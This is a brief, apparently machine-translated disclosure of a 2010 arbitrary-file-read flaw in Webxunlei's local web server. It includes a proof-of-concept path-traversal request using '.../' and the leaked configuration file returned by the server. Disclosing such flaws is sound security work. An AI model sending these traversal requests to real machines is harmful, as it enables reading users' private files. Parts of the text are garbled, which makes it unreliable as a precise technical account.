Webxunlei Remote Arbitrary File Reading Vulnerability

 

Brief description:

Webxunlei has problems in design and implementation. As a result, malicious attackers can read arbitrary files on user machines installed with webxunlei.

 

Detailed description:

Webxunlei has a webserver bound to 0.0.0.0 on the local machine. At the same time, it does not properly handle web requests. Due to security defects, malicious attackers can construct requests to read arbitrary files on the user's machine.

You can handle the situations of ../hop directories, but you can bypass the situations of.../(a master can use the file mon black box for analysis, like !)

 

Proof of vulnerability:

 

 

GET/.../Profiles/UserConfig. ini HTTP/1.1

HTTP/1.0 200 OK

Server: Xunlei Http Server/1.0

Date: Tue, 23 Nov 2010 09:02:07 GMT

Content-type :*

Content-length: 407

Last-Modified: Tue, 23 Nov 2010 08:43:15 GMT

 

[Skin] www.2cto.com

CurrSkin=default.rar

SkinNames=default.rar

[Monitor]

Optional;. w

Ma;.wmp0000.wmv0000.zip;. torrent;

FilterSitesMax = 20

[EMuleGenericSettings]

EMuleWatchLink = 1

[Update]

RunUpdate = 0

[General]

TaskShowPerPage = 11

[Antivirus]

Protect = 0

FilePath =

Parameter =

[BHOSection]

StatsDay = 2

[SavePath]

SetFolderIcon = 1

Path = C: \ Xunlei \

Send 43, r accept 579: no sock

C: \ Documents ents and Settings \ Administrator>